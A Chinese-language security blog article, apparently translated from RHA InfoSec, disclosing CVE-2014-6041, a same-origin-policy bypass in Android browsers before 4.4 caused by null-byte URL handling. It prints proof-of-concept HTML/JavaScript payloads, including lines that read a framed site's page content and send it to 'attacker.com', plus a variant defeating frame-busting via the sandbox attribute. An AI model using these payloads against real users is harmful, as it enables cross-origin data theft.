Android(4.4版本以下)浏览器同源策略绕过漏洞

  • A+
所属分类:移动安全

什么是同源策略(Same-Origin-Polocy)

同源策略(SOP)是客户端脚本(尤其是Javascript)的重要的安全度量标准,是浏览器安全核心基础。它最早出自Nescape Navigator2.0,其目的是防止某个文档或脚本从多个不同源装载。这里的同源指的是同域名、同协议同端口

Android(4.4版本以下)浏览器同源策略绕过漏洞

它有个很简单的精髓:它认为自任何站点装载的信赖内容是不安全的。当被浏览器半信半疑的脚本运行在沙箱时,它们应该只被允许访问来自同一站点的资源,而不是那些来自其它站点可能怀有恶意的资源。

(以下资料可能带有攻击性,仅供研究测试之用哦)

SOP绕过

SOP绕过发生在A网站(以sitea.com为例)以某种方式访问B网站(以siteb.com为例)的属性如cookie、位置、响应等的时候。由于这个问题的特殊性和可能潜在影响,浏览器对此都有非常严格的管理模式,在现在的浏览器中很少能发现一个SOP绕过。然而,最近一个SOP绕过还是被发现了。

以下书面记录描述了一个SOP绕过漏洞(漏洞编号CVE-2014-6041),它是在作者的一个Qmobile Noir A20(Android 4.2.1的浏览器)上发现的,后来继续证实,Sony+ Xperia +Tipo、三星Galaxy、HTC Wildfire、Motrorolla等也受到影响。据我所知,这个问题的发生由于url解析器对空字节处理不当的造成的。 

更新其他伙伴也已经证实Android 4.4以下的浏览器下也存在这个问题,Ref- https://github.com/rapid7/metasploit-framework/pull/3759 

概念验证

<iframe name="test"src="http://www.rhainfosec.com"></iframe> <inputtype=button value="test"onclick="window.open('\u0000javascript:alert(document.domain)','test')">

正如你所见,上面代码尝试访问一个网站已经加载进一个iframe的document.domain属性。一般情况下现代的浏览器都会返回一个error结果

iframe中” http://jsbin.com “与” http://www.rhainfosec.com”的协议、域名和端口必须匹配。

但是你可以接着往下看,我创建了以下POC,你可以弄混一下其中一些东西。

首先阅读它的响应

你可以仔细阅读一下任何页面访问document.body.innerHTML属性时的响应

<iframe name="test"src="http://www.rhainfosec.com"></iframe>
<input type=button value="test"
onclick="window.open('\u0000javascript:alert(document.body.innerHTML)','test')">

其次阅读响应然后把它发送到一个攻击者的域名

在现实的情况下,一个攻击者会把它发送到一个他主控的域名下

<iframe name="test"src="http://www.rhainfosec.com"></iframe>
<input type=button value="test"
onclick="window.open('\u0000javascript:var i=newImage();i.src='//attacker.com?'+document.body.innerHTML;document.body.appendChild(i);','test')">

绕过框架的破坏代码

其实很多网站仍在使用类似框架破坏代码来阻止页面被阻止,因此当可以这样写入框架时我们只能从这一点入手来绕过SOP。在该案例中,该网站使用一个框架破坏代码利用沙箱sandbox属性(在HTML5规范中有介绍)绕过它。

<iframe name="test"src="http://www.rhainfosec.com" sandbox></iframe>
<input type=button value="test"
onclick="window.open('\u0000javascript:var i=newImage();i.src='//attacker.com?'+document.body.innerHTML;document.body.appendChild(i);','test')">

更新由jvennix-r7发布的metasploit模块还支持x-frame-options这个完全通用规则,Ref - https://github.com/rapid7/metasploit-framework/pull/3759

受影响版本:

最初的测试Android 4.2.1浏览器(Qmobile)和下面测试的手机:

 

Android(4.4版本以下)浏览器同源策略绕过漏洞

Samsung Galaxy S3

Android(4.4版本以下)浏览器同源策略绕过漏洞

Motrorolla Razr

Android(4.4版本以下)浏览器同源策略绕过漏洞

Sony Xperia Tipo

Android(4.4版本以下)浏览器同源策略绕过漏洞

HTC Eco 3D and Wildfire

[信息参考来源RHA FreeBuf小编[凌晨几度i]编译,转载请注明来自FreeBuf.COM]

  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的微信公众号
  • 我的微信公众号扫一扫
  • weinxin

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: